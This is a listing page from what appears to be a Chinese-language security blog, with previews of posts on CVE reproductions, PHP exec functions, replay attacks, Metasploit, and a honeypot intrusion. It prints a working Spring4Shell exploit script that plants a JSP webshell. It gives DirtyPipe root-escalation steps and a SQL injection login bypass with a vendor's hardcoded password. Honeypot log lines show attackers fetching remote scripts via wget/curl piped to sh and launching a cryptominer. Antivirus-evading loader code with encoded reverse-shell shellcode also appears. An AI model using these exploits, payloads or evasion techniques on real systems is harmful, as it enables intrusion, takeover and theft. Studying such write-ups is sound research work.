CVE-2022-0332 Moodle SQL Injection Reproduce

起因是,HITCON Girls 的成員來詢問我關於這個 CVE 的 Exploit 方法,她說實作了一天都卡在一些參數問題上,所以我就架起來玩了一下。 Moodle / 母斗 是一個很大的 LMS,目前台科大也正在使用,我目前也在被摧殘的第六年,ㄏㄏ。 Public Information Exploit-DBhttps://www.exploit-db.com/exploits/50700GitHub- https://github.com/numanturle/CVE-2022-0332 Build Environment 要復現這個漏洞,比想像中麻煩很多,這邊我使用了 Docker-compose 來快速建置環境,基本上內容來自 bitnami-docker-moodle , 我唯一做了修改的部分是把第 15 行指定了 Moodle 的版本 docker-compose 內容 version: '2' services: mariadb: image: docker.io/bitnami/mariadb:10.3 environment: # ALLOW_EMPTY_PASSWORD is recommended only for development. - ALLOW_EMPTY_PASSWORD=yes - MARIADB_USER=bn_moodle - MARIADB_DATABASE=bitnami_moodle - MARIADB_CHARACTER_SET=utf8mb4 - MARIADB_COLLATE=utf8mb4_unicode_ci volumes: - 'mariadb_data:/bitnami/mariadb' moodle: image: docker.io/bitnami/moodle:3.11.4 ports: - '80:8080' - '443:8443' environment: - MOODLE_DATABASE_HOST=mariadb - MOODLE_DATABASE_PORT_NUMBER=3306 - MOODLE_DATABASE_USER=bn_moodle - MOODLE_DATABASE_NAME=bitnami_moodle # ALLOW_EMPTY_PASSWORD is recommended only for development. - ALLOW_EMPTY_PASSWORD=yes volumes: - 'moodle_data:/bitnami/moodle' - 'moodledata_data:/bitnami/moodledata' depends_on: - mariadb volumes: mariadb_data: driver: local moodle_data: driver: local moodledata_data: driver: local 執行 Docker 基本上執行下面的指令,就可以把完整的環境跑起來了 ...

2022-04-01 · 4 分鐘 · steven

Spring Core RCE JDK 9+ PoC and Experiment (2022/03/31)

從昨天晚上開始,就一大堆人開始傳說 Spring Core 的 RCE 漏洞 漏洞八卦 QQ 但是一直都只有很片段的一些 PoC 流出來,例如 或是一些被馬的亂七八糟的截圖 QQ,(原文已被刪除) 還出現了一些梗圖 還有其他的八卦是,今天下午時,有打著公開 PoC 名義的釣魚腳本,裡面還暗藏了惡意程式 https://cn-sec.com/archives/853963.html ,ㄟ這樣黑吃黑真的很不可取 = =。 這個漏洞難找還有另外一個原因是因為,前幾天又剛好有另外一個 Sprint cloud function 的 RCE (CVE-2022-22963),相關討論串與 PoC 在這邊 ,很多人都會把這兩個洞給搞混。初步了解,這兩個漏洞完全沒有任何關係。 撿到漏洞利用 終於在剛剛,我在 Twitter 上撿到了一隻 PoC https://twitter.com/Dinosn/status/1509201762665873410 Github 連結: https://github.com/dinosn/spring-core-rce/blob/main/test.py 為了避免任何意外, PoC 備份在以下,著作權仍屬於原作者 dinosn PoC 備份 #coding:utf-8 import requests import argparse from urllib.parse import urljoin def Exploit(url): headers = {"suffix":"%>//", "c1":"Runtime", "c2":"<%", "DNT":"1", "Content-Type":"application/x-www-form-urlencoded" } data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" try: go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False) shellurl = urljoin(url, 'tomcatwar.jsp') shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False) if shellgo.status_code == 200: print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami") except Exception as e: print(e) pass def main(): parser = argparse.ArgumentParser(description='Srping-Core Rce.') parser.add_argument('--file',help='url file',required=False) parser.add_argument('--url',help='target url',required=False) args = parser.parse_args() if args.url: Exploit(args.url) if args.file: with open (args.file) as f: for i in f.readlines(): i = i.strip() Exploit(i) if __name__ == '__main__': main() 建立環境 使用這個 Docker 試著建立攻擊環境 ...

2022-03-31 · 1 分鐘 · steven

Using boto3 to control the AWS EC2

Install awscli and boto3 sudo apt install awscli pip3 install boto3 Add a new AWS user Go to https://console.aws.amazon.com/iam/home Add User, pick a username, and set the AWS credential type to Access key In the “Set permissions” section, select the “Attach existing policies directly” and check the AmazonEC2FullAccess And it will receive an Access Key ID and a Secret Access key Configure the aws-cli Run the command aws configure Input the AWS Access Key ID and AWS Secret Access key, other leave blanks. ...

2022-03-23 · 1 分鐘 · steven

深入理解多種 PHP 系統函數的差別 (system, shell_exec, exec, passthru, popen, proc_open)

在戳 Webshell 時,時常會被 Disable Function 給雷,而網路上的各種 Cheat Sheet 也常常會教我們, Bypass Disable Function 的其他函數。這邊先不考慮 LD_PRELOAD 或是其他奇技淫巧的繞過方法,我們從最常見的 6 種可執行系統指令的 Function 開始,探討它們在正常使用時的不同。明明功能都差不多,甚至一樣,為什麼 PHP 要定義出這麼多的函數呢? ~~因為 PHP 是一個非常 Hacker Friendly 的語言,有各種方法可以讓駭客繞繞繞!~~~ 本文會比較 system、shell_exec、exec、passthru、popen 以及 proc_open 等 Function 的差異。 system 讓我們從 system 函數開始,觀察 Spec 可以看出,官方的敘述。 system — Execute an external program and display the output system 指令會執行外部程式,並且直接把結果輸出 (類似於 echo 到螢幕上),這邊也有一個特性就是,當程式每輸出一行,畫面結果就會刷新一次 (儘管程式可能還沒結束)。 system 指令有兩個參數,分別是 $command 以及 &$result_code。$command 應該不用特別敘述,而 &$result_code 會使用 Pass by reference 方式把 Linux 的 Return Status Code 給回傳到該參數。 ...

2022-03-19 · 3 分鐘 · steven

透過 Scapy 以及 Socket 實作 Application 層的 Replay Attack

工業控制或是 IoT 等裝置很容易出現 Replay Attack 的攻擊方式,也就是傳送一樣的封包,就可以對這些裝置下一些指令,這些裝置不一定會驗證發送者的身分,或是透過 nonce 等方式進行確認。 以下是一個很簡單的例子來快速地透過 Scapy 實作 Replay Attack 的方法。 在這個例子中,我會使用 HTTP 協定來當作我們需要使用的目標,我們先假設 HTTP 是一個我們完全不認識的奇怪協定,我們希望可以透過鯊魚來紀錄,修改其中的一兩個 Bytes ,並重新發送給 Server。 Server 準備 首先我在我的 Server 上準備了 4 個 txt 檔案,檔名分別叫做 1, 2, 3, 4 echo one > 1 echo two > 2 echo three > 3 echo four > 4 接下來在同一個資料夾中使用了 Python 開啟一個 HTTP Server 在 8000 Port python3 -m http.server Client 準備 這邊的 Client 我們可以假裝說是工控場域的 HMI,準備發送指令給 PLC Server 這樣的場景。我使用 curl 指令來快速對伺服器建構了兩條的 HTTP Request (或是說 TCP 連線)。 ...

2022-03-12 · 2 分鐘 · steven

利用 CVE-2022-0847 DirtyPipe 進行 Linux 提權

一起床就看到了好玩的東西,昨天 (3/7) Max Kellermann 揭露了一個 DirtyPipe 的漏洞 https://dirtypipe.cm4all.com/ 名字聽起來就跟 DirtyCow 很像,也是一個可以本地提權的漏洞,漏洞詳情可以看上方連結的研究。 網路上也馬上就出現了一大堆 Exploit 的腳本,這邊我拿 Arinerron 的來試玩了一下。 首先到 Ubuntu 官網下載了最新版的 20.04 VM。 steven@ubuntu:/tmp$ uname -a Linux ubuntu 5.13.0-30-generic #33~20.04.1-Ubuntu SMP Mon Feb 7 14:25:10 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux 安裝好後,新增一個沒有 root 權限的使用者做為測試。 sudo adduser testuser 下載並編譯腳本 cd /tmp git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit cd CVE-2022-0847-DirtyPipe-Exploit/ ./compile.sh 當然如果 Victim 端沒有 gcc 的話,也可以在 attacker 機器上編譯好再傳過去。 接下來執行 ./exploit 就順利的可以提權到 Root 了! 理論上這個漏洞跟髒牛牛一樣,有很大的機率會搞壞 Linux Kernel,最近真的好多有趣的提權方法呢,前陣子的 pwnkit 跟這次的 Dirtypipe,看樣子大家的 Linux 真的要記得常常更新 (但 Server 更新也很可怕就是了 QQ)。

2022-03-08 · 1 分鐘 · steven

使用 Docker 執行 Metasploit

其實,我跟 Metasploit 沒有太熟,因為他太方便,太無惱了,導致 OSCP 的考試禁止使用。 我在練習 PT 時也就都直接當作這個軟體不存在 XD。 但事實上 Metasploit 真的算是一個很實用的工具,只需要無腦的設定好 payload 之後 run / exploit 下去就好了。 而 Reverse Shell 的部分,我一直以來都習慣使用 Stageless 的 Shell,不過其實 Meterpreter 以及其他 Staged 的 Shell 在實務上是滿好用的。 現在常見的滲透測試 OS ,例如 Kali 或是 Parrot 裡面都已經內鍵了 Metasploit 的指令,使用者不需要煩惱太多安裝的問題。通常在各種平台練習靶機時,官方都會發放一個 VPN, 攻擊者只需要把 Shell 彈回這個內網裡面的自己機器即可。 不過在實務上,事情就沒有這麼簡單了,如果我們使用簡單的 Stageless 的 Reverse shell , 當不在內網時,我們可以在雲端機器上隨便開一個 nc / ncat 來收,但 Stage 的就不同了,通常會需要使用 msfconsole 的 exploit/multi/handler 來接收。 在 GCP 上沒有內建 Kali, Parrot OS 的機器 (AWS 上有 Kali,但我比較不習慣用 AWS),當然可以自己上傳 image 檔案上去做一些處理,不過先前我的經驗是會遇到一些雷需要克服,因此最好的方法還是直接在雲端機器裡面部屬 msf,根據官方的說法,可以透過下面指令來安裝 msf ...

2022-03-04 · 1 分鐘 · steven

我的 Honeypot 被 Muhstik 駭惹 ?!

在年假前,我部屬了幾台 WordPress 的 Honeypot 想撿看看野生的 Payload,我當時把 Docker 給跑起來之後就丟著,沒有特別去管它。 年假結束後,打開我的監控軟體觀察,一看下了一跳,竟然在奇怪的地方被塞了一個 WebShell !! 是從非預期的方法進來的,太怪了ㄅ QQ 接下來我對這個入侵方式做了一系列的探索,發現了一些有趣的東西。 觀察入侵方式 進入點 暫時來當藍隊觀察一下入侵方式,直接對 access log 透過 grep 觀察 webshell 的檔名 162.55.76.218 - - [29/Jan/2022:20:45:18 +0000] "GET /wp-content/themes/twentytwentyone/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1" 404 494 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Ubuntu/10.10 Chromium/9.0.600.0 Chrome/9.0.600.0 Safari/534.14" 162.55.76.218 - - [29/Jan/2022:20:45:23 +0000] "GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1" 200 734 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_0) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4" 162.55.76.218 - - [29/Jan/2022:20:45:24 +0000] "GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php?wie HTTP/1.1" 200 635 "-" "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:5.0a2) Gecko/20110524 Firefox/5.0a2" 162.55.76.218 - - [29/Jan/2022:20:45:25 +0000] "GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1" 200 734 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100222 Ubuntu/10.04 (lucid) Firefox/3.6" 162.55.76.218 - - [29/Jan/2022:20:45:26 +0000] "POST /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1" 200 597 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24" 162.55.76.218 - - [29/Jan/2022:20:45:26 +0000] "GET /wp-content/themes/twentytwenty/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1" 404 494 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 6.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.04506.648; .NET4.0C; .NET4.0E)" 162.55.76.218 - - [29/Jan/2022:20:45:26 +0000] "GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php?knal=chmod+%2Bx+kill_dangling_irc%3B+bash+kill_dangling_irc+%3E+%2Fdev%2Fnull+2%3E%261+%26 HTTP/1.1" 200 432 "-" "Mozilla/4.0 WebTV/2.6 (compatible; MSIE 4.0)" 162.55.76.218 - - [29/Jan/2022:20:45:26 +0000] "POST /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7" 162.55.76.218 - - [29/Jan/2022:20:45:57 +0000] "GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php?knal=chmod+%2Bx+xmr64%3B+.%2Fxmr64+%3E+%2Fdev%2Fnull+2%3E%261+%26 HTTP/1.1" 200 432 "-" "Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.343 Safari/534.10" 162.55.76.218 - - [29/Jan/2022:20:45:57 +0000] "POST /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1" 200 524 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24" 54.36.49.151 - - [04/Feb/2022:02:24:59 +0000] "GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1" 200 734 "-" "Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18" 54.36.49.151 - - [04/Feb/2022:02:25:00 +0000] "POST /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1" 200 597 "-" "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre" 54.36.49.151 - - [04/Feb/2022:02:25:00 +0000] "GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php?knal=chmod+%2Bx+kill_dangling_irc%3B+bash+kill_dangling_irc+%3E+%2Fdev%2Fnull+2%3E%261+%26 HTTP/1.1" 200 432 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.579.0 Safari/534.12" 54.36.49.151 - - [04/Feb/2022:02:25:00 +0000] "POST /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)" 54.36.49.151 - - [04/Feb/2022:02:25:20 +0000] "GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php?knal=chmod+%2Bx+xmr64%3B+.%2Fxmr64+%3E+%2Fdev%2Fnull+2%3E%261+%26 HTTP/1.1" 200 432 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36" 54.36.49.151 - - [04/Feb/2022:02:25:20 +0000] "POST /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php HTTP/1.1" 200 524 "-" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.1 Safari/535.1" 54.36.49.151 - - [04/Feb/2022:02:25:20 +0000] "GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php?knal=chmod+%2Bx+pty3%3B+.%2Fpty3+%26 HTTP/1.1" 200 455 "-" "Mozilla/5.0 (X11; CrOS i686 12.433.216) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.105 Safari/534.30" 54.36.49.151 - - [04/Feb/2022:02:25:20 +0000] "GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php?knal=wget+-qO+-+http%3A%2F%2F34.66.229.152%2F.b%2F1sh+%7C+sh HTTP/1.1" 200 432 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 ( .NET CLR 3.5.30729; .NET4.0E)" 54.36.49.151 - - [04/Feb/2022:02:25:21 +0000] "GET /wp-content/themes/twentynineteen/C9698F925C1D8B544C62895AABF85155.php?knal=curl+http%3A%2F%2F34.66.229.152%2F.b%2F3sh+%7C+sh HTTP/1.1" 200 517 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.16 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.16" 可以確定總共有兩個 IP 使用過這個 WebShell , 分別是 54.36.49.151 跟 162.55.76.218。 ...

2022-03-02 · 8 分鐘 · steven

用 SQL injection 撿到 40+ 台機器跟幾千人個資的小故事

HITCON 0 Day: https://zeroday.hitcon.org/vulnerability/ZD-2021-00767 有點忘記起因了,有一天我在 Shodan 上面亂逛時,發現到了一批在台灣的電腦,都開啟了 8081 的 Web Port,它們的 Banner 都寫了 “樂晴牙醫管理系統” 因為我有在瀏覽器安裝 DotGit , 一點進去之後就叫了,這個網站的目錄底下存在著 .git 因此可以使用 GitHack 之類的東西進行還原。 跑下去之後偷偷看了一下程式碼,一看不得了,竟然有兩個可以任意登入的方法?! 漏洞 1 在程式碼的主要登入邏輯中 ajax/checkLogin_ajax.php 可以看到 $sql="select sfsn,sfno,sfpasswd,position,isowner,sfname from staff where sfno='$id' and sfpasswd='$password' "; 這是一個超級超級裸的 SQL injection ,使用所謂的 SQL injection 萬用密碼就可以進行登入了 QQ。 帳號 : ' or 1=1 -- 密碼 : 任意字串 漏洞 2 (Feature? 繼續的看同一個檔案,會發現在原始碼中留了一個寫死的預設密碼 if ($id!='' && $password!=''){ if ($id=='leyan' && $password=='0429'){ $has=1; session_start(); $_SESSION['staffid']="leyan"; $_SESSION['staffpw']="0429"; $_SESSION['staffposition']='S'; $_SESSION['isManager']='1'; $_SESSION['staffname']='Leyan'; $_SESSION['staffsfsn']=0; 因此只需要透過帳號 leyan 以及密碼 0429 就能登入所有的系統 ...

2022-03-01 · 1 分鐘 · steven

Meow Ware Loader - A Windows Shellcode Loader with Meow meow

一款會把 Shell Code 給轉成 meow meow 的 Shell Code 載入器。程式碼使用方式等請參考下方 GitHub 連結。 GitHub : https://github.com/stevenyu113228/Meow-Ware-Loader 現在,有許多的防毒軟體都會透過惡意程式碼的特徵 (例如 YARA RULE) 來進行捕捉,因此部分惡意程式會透過 Shell Code 形式,在執行時間再注入到記憶體中,透過這種方式來規避查緝。 不過現在也有許多防毒軟體開始支援掃描非執行檔的 Shell Code 程式,因此可以透過把 Shell Code 進行編碼,以規避查緝,並透過 Loader 來進行載入執行。 其實這個構想是我前天晚上睡到一半想到的,剛好想到說 Encode 通常大家都愛用什麼 Base64、ROT13 這類現有的編碼方式,而防毒軟體在已知的狀況下很有可能也可以進行自動解碼,因此我想到了自創的 Meow Encode 法。 Meow Encode Method 我們知道 Meow 總共有 4 個英文字母,而如果考量到小大寫的話,總共有 2^4 = 16 種組合。我們也可以直接把大小寫當作二進位來看,小寫是 0 、 大寫是 1。因此對照表如下 MeowBinaryDecimalHexadecimalmeow000000meoW000111meOw001022meOW001133mEow010044mEoW010155mEOw011066mEOW011177Meow100088MeoW100199MeOw101010aMeOW101111bMEow110012cMEoW110113dMEOw111014eMEOW111115f 因此,編碼後的 Shell Code 會長的類似這個樣子,下面為 msfvenom 的 shell_reverse_tcp 範例 MEOWMEowMEOwMeowMeowmeOwmeowmeowmeowmeowmeowmeowmEOwmeowMeowMeoWMEOwmEoWmeOWmeoWMEowmeowmEOwmEowMeowMeOWmEoWmeowmeOWmeowMeowMeOWmEoWmeOwmeowMEowMeowMeOWmEoWmeOwmeoWmEowMeowMeOWmEOWmeOwmeOwMeowmeowMEOWMeOWmEOWmEowMeOwmeOwmEOwmeOWmeoWMEOWMEOWMeOwMEowmeOWMEowmEOwmeoWmEOWMEowmeowmeOwmeOwMEowmeOwmeowMEowmeoWMEowMEOWmeowMEoWmeowmeoWMEowmEOWMEOwmeOwMEOWmeOwmEoWmeOwmEoWmEOWMeowMeOWmEoWmeOwmeoWmeowMeowMeOWmEowMeOwmeOWMEowMeowMeOWmEowMEowmeoWmeoWmEOWMeowMEOwmeOWmEowMeowmeowmeoWMEoWmeoWmEoWmeoWMeowMeOWmEoWMeoWmeOwmeowmeowmeoWMEoWmeOWMeowMeOWmEowMeoWmeoWMeowMEOwmeOWmeOWMeOwmEowMeoWMeowMeOWmeOWmEowMeowMeOWmeowmeoWMEoWmEOwmeOWmeoWMEOWMEOWMeOwMEowMEowmeoWMEowMEOWmeowMEoWmeowmeoWMEowmEOWmeOWMeowMEOwmeowmEOWmEoWMEOWmEOwmeowmeOWmEOWMEoWMEOWMeowmeOWMeOWmEOWMEoWmeOwmEowmEOWmEoWMEOwmEowmEoWMeowMeowMeOWmEoWMeowmeOwmEowmeowmeoWMEoWmeOWmEOwmEOwMeowMeOWmeowMEowmEowMeOWMeowMeOWmEoWMeowmeoWMEowmeowmeoWMEoWmeOWMeowMeOWmeowmEowMeowMeOWmeowmeoWMEoWmeowMeowMeoWmEowmEowmeOwmEowmeOwmEowmEoWMeOWmEoWMeOWmEOwmeoWmEoWMeoWmEoWMeOwmEoWmeoWMEOWMEOWMEOwmeowmEoWMEOWmEoWMEOWmEoWMeOwMeowMeOWmeoWmeOwMEOwMeOWMeowMEoWmEoWMEoWmEOwMeowmeOWmeOWmeOWmeOwmeowmeowmeowmeowmEOwMeowmEOWmEOWmEOWmeOWmeOWmeOwmEoWMEOWmEoWmEowmEOwMeowmEowMEowmEOWmEOWmeOwmEOwmeowmEOWMEOWMEOWMEoWmEoWMeOWMeowMeoWmeowmeowmeoWmeowmeowmeowmeowmeOwMeoWMEowmEowmEoWmEowmEoWmeowmEOwMeowmeOwMeoWMeowmeowmEOwMeOWmeowmeowMEOWMEOWMEoWmEoWmEoWmeowmEoWmeowmEoWmeowmEoWmeowmEowmeowmEoWmeowmEowmeowmEoWmeowmEOwMeowMEOwMeOwmeowMEOWMEoWMEOWMEOwmeowMEOWMEOWMEoWmEoWMeoWmEOWmEOwMeOwmeowmEoWmEOwMeowMEowmeowMeOwMeowmeOwMeowMeowmeoWmEOwMeowmeowmeOwmeowmeowmeOwmEowMEOwMEoWMeowMeoWMEOwmEOwmEOwMeOwmeoWmeowmEoWmEOwmEoWmEOWmEOwMeowMeoWMeoWMeOwmEoWmEOWmEowmEOwmeoWMEOWMEOWMEoWmEoWMeowmEoWMEowmeowmEOWmEowmeowMEowMEOWMEOWmEowMEOwmeowMeowmEOWmEoWMEOwMEowmEOwMeowMEOWmeowMeOWmEoWMeOwmeOwmEoWmEOwMEOWMEOWMEoWmEoWmEOwMeowmEOwmeOWmEOwMEoWmEOwmEowmeowmeowMeowMeoWMEOwmeOWmEoWmEOWmEoWmEOWmEoWmEOWmeOWmeoWMEOWmEOwmEOwMeOwmeoWmeOwmEoWMeoWmEoWmEOwMEOwmeOwMEOWMEoWmEOwmEOwMEowmEOWmEowmEowmeOwmEowmeOWMEowmeowmeoWmeowmeoWMeowMEoWmEowmEowmeOwmEowmeoWmeowMEowmEOwmeowmeowmEowmEowmEoWmEowmEoWmeowmEoWmEOwmEoWmEOwmEoWmEOwmEowmEOwmEoWmEOwmEowMEOwmEoWmEOwmEoWmEOwmEoWmeOWmEoWmEOwmEOwMeowmEOWMeoWMEowMEowmeOWMEOWMeowmEOwMEOWMEOWMEoWmEoWMeowMeoWMEOwmeowmEowMEOwmEoWmEOwmEowmEOwMEOWMEOWmeOWmeowmEOwMeowmeowMeowMeowmEOWmeoWMEoWmEOwmeowMEOWMEOWMEoWmEoWMeOWMeOWMEOWmeowMeOWmEoWMeOwmeOwmEoWmEOwmEOwMeowMeOwmEOwMeoWmEoWMeOWMEoWMeoWMEoWMEOWMEOWMEoWmEoWmeOWMEowmeowmEOwmEOWMEowmeowMeOwMeowmeowMEOWMeOWMEOwmeowmEOWmEoWmeowmEoWMeOWMeOWmEowmEOWmeoWmeOWmEOWmeOwmEOwMEOWmEOwMeOwmeowmeowmEoWmeOWMEOWMEOWMEoWm Shell Code Loader void *exec = VirtualAlloc(0, memory_allocation, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); memcpy(exec, shellcode, memory_allocation); VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore); (*(void (*)()) exec)(); 這邊我參考抄了 DimopoulosElias 大大寫的 SimpleShellcodeInjector 程式碼,其中重點是下面這幾行 ...

2022-02-28 · 1 分鐘 · steven